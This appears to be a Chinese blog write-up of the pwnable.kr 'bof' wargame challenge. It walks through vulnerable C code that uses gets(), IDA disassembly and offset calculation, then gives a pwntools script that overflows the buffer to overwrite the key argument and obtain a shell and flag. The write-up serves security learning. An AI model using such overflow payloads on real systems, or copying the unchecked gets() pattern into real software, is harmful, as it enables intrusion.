【pwnable.kr】Toddler‘s Bottle-[bof]
目录导航
- 打开题目审题
- nc 命令介绍
- 获取服务器文件
- 源代码分析
- ELF分析构造payload
- 解题
打开题目审题
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
Nana告诉我缓冲区溢出是最常见的软件漏洞之一。
nc 命令介绍
https://www.cnblogs.com/nmap/p/6148306.html 具体内容该博客讲的很详细
nc pwnable.kr 9000
简单来说该命令就是和 服务器9000端口交互,命令打开不难发现该端口执行的就是bof。
获取服务器文件
第一种方式:
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
题目中已经给出了链接,直接在浏览器中打开右键另存为即可。
第二种方式:
使用 wget 命令
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
源代码分析
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}
很好懂,基本就是输入一个overflow字符串 这个字符串要让main调用func时传入的参数
0xdeadbeef
和0xcafebabe
相同,这时我们才能够切换到命令行模式获取flag。
题目已经有提示了,缓冲区溢出,那如何构造payload呢。上ida。
源码没什么看头,这里已经要开始分析内存了。
ELF分析构造payload
看下该文件类型
D:\Desktop>file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
32位的ELF文件,用ida打开。
F5反编译一下可得func:
IDA pseudocode
unsigned int __cdecl func(int a1)
{char s; // [esp+1Ch] [ebp-2Ch]unsigned int v3; // [esp+3Ch] [ebp-Ch]v3 = __readgsdword(0x14u);puts("overflow me : ");gets(&s);if ( a1 == -889275714 )system("/bin/sh");elseputs("Nah..");return __readgsdword(0x14u) ^ v3;
}
看注释可以看到
程序调用gets获取字符串s [esp+1Ch] [ebp-2Ch] 和传入的参数 a1 [esp+3Ch] [ebp-Ch] 比较。
IDA disassemable:
.text:0000062C public func
.text:0000062C func proc near ; CODE XREF: main+10↓p
.text:0000062C
.text:0000062C s = byte ptr -2Ch
.text:0000062C var_C = dword ptr -0Ch
.text:0000062C arg_0 = dword ptr 8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C push ebp
.text:0000062D mov ebp, esp
.text:0000062F sub esp, 48h
.text:00000632 mov eax, large gs:14h
.text:00000638 mov [ebp+var_C], eax
.text:0000063B xor eax, eax
.text:0000063D mov dword ptr [esp], offset s ; "overflow me : "
.text:00000644 call puts
.text:00000649 lea eax, [ebp+s]
.text:0000064C mov [esp], eax ; s
.text:0000064F call gets
.text:00000654 cmp [ebp+arg_0], 0CAFEBABEh
.text:0000065B jnz short loc_66B
.text:0000065D mov dword ptr [esp], offset command ; "/bin/sh"
.text:00000664 call system
.text:00000669 jmp short loc_677
很简单,其实就是覆盖掉参数,计算偏移量即可
cmp [ebp+arg_0], 0CAFEBABEh
参数key的位置是[ebp+arg_0]
arg_0= dword ptr 8
可知,参数key的位置是 [ebp+8]
然后,char s; // [esp+1Ch] [ebp-2Ch] 可知overflow(即s)的位置就是 [ebp-2Ch]
我们需要输入overflow 覆盖掉 原来的参数即可。覆盖为0CAFEBABEh
。
构造payload那就是:
52*'A' + "\xbe\xba\xfe\xca"
A 可以是任意字符。下图可以看到是低地址存放低位,小端模式。我们从 [ebp-2Ch]
写到 [ebp+8]
。
从小端写,所以是"\xbe\xba\xfe\xca"
关于ebp,放张图:
解题
需要使用pwn模块
这种方式就不需要考虑大小端问题了,函数会解决。
bof.py
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+str(pwn.p32(0xcafebabe)))r.interactive()
'a'*52+pwn.p32(0xcafebabe) = 'A'*0x34+'\xBE\xBA\xFE\xCA'
运行即可。
$ ls -la
total 52504
drwxr-x--- 3 root bof 4096 Oct 23 2016 .
drwxr-xr-x 87 root root 4096 Dec 27 23:17 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw------- 1 root root 53726989 Jun 26 18:23 log
-rw-r--r-- 1 root root 0 Oct 23 2016 log2
-rwx------ 1 root root 760 Sep 10 2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
daddy, I just pwned a buFFer :)
获得flag
参考:
https://www.cnblogs.com/nmap/p/6148306.html
https://blog.csdn.net/summonlight/article/details/81123785
【pwnable.kr】Toddler‘s Bottle-[bof]相关推荐
- 【pwnable.kr】Toddler‘s Bottle-[flag]
目录导航 下载题目文件 二进制分析 获取flag gdb调试 下载题目文件 Papa brought me a packed present! let's open it.Download : htt ...
- 【pwnable.kr】Toddler‘s Bottle-[passcode]
目录导航 进入服务器 下载文件 反编译分析 EXP TIPS 进入服务器 Mommy told me to make a passcode based login system. My initial ...
- 【pwnable.kr】Toddler‘s Bottle-[random]
目录导航 Target & Download Analysis & IDA Debug & writeup TIPS Target & Download Daddy, ...
- 【pwnable.kr】Toddler‘s Bottle-[fd]
目录导航 打开题目审题 找到突破口 相关c语言知识 源代码分析 找到FLAG 打开题目审题 Mommy! what is a file descriptor in Linux?* try to pla ...
- 【pwnable.kr】passcode
pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是'&'的锅. #include <stdio.h> ...
- 【pwnable.kr】 alloca
https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...
- pwnable.kr之Toddler‘s Bottle前八题知识点记录
pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...
- 【pwnable.kr】day8:leg
pwnable:leg pwnable.kr:leg 题目链接 question Daddy told me I should study arm. But I prefer to study my ...
- 【pwnable.kr】leg
pwnable从入门到放弃第八题. Download : http://pwnable.kr/bin/leg.c Download : http://pwnable.kr/bin/leg.asm ss ...
最新文章
- 智能车竞赛技术报告 | 节能信标组 - 重庆大学- 赛博坦汽车人联盟
- spring mybatis 集成
- SDUT_2119 数据结构实验之链表四:有序链表的归并
- [Trustzone]-ARM Cortex-A Serial支持Trustzone和Hypervisor的总结
- JZOJ 3947 . 【省常中JSOI模拟】收历史作业
- 消防给水及消火栓系统技术规范_2019一消备考干货《消防给水及消火栓技术规范》速收藏...
- TIOBE 3 月编程语言排行榜:Ruby 重回前十,Kotlin 突围
- supervisor入门应用
- The Future Of Mobile Development: HTML5 Vs. Native Apps
- wps vba6.3 宏插件下载
- AMEsim fatal error U1077解决方案之一
- TFN FMT715C/ 760 C系列无线综合测试仪性能如何
- 查看U盘是USB2.0还是USB3.0
- latex教程 / 矢量图转换 / 文献引用bibitem
- 黑马程序员-黑马,人生的一个重要转折
- ps抠图 淘宝抠图
- apk编辑器android源码,apk编辑器电脑版_apk编辑器电脑版下载[apk编译]- 下载之家
- 简单的poc以及exp编写(入门篇)
- python图片提取文字软件_这款Python 库 4行代码提取图片中的文字
- 日系插画学习笔记(二):结构与透视
热门文章
- 计算机图形绘制三棱柱源代码,基于MFC用OpenGL画得一个三棱柱
- 为了情怀,各行各业引发离职潮,亮点看财务人的!!
- lol服务器不稳定向全体玩家道歉,《英雄联盟》今日不停机更新 修复部分玩家服务器通讯不稳定问题...
- 常用 Linux 术语
- Python 删除数组元素
- 【Python】通过 requests 获取文件字节流
- 常用网络安全资源网站
- 《袁老师访谈录》第八期|温维佳教授/香港科大(广州)功能枢纽署理院长【问诊未来·院长系列:科研教授的硬核创业之道】...
- 机器学习-Hierarchical clustering 层次聚类算法
- QtVtk-025-QChartTable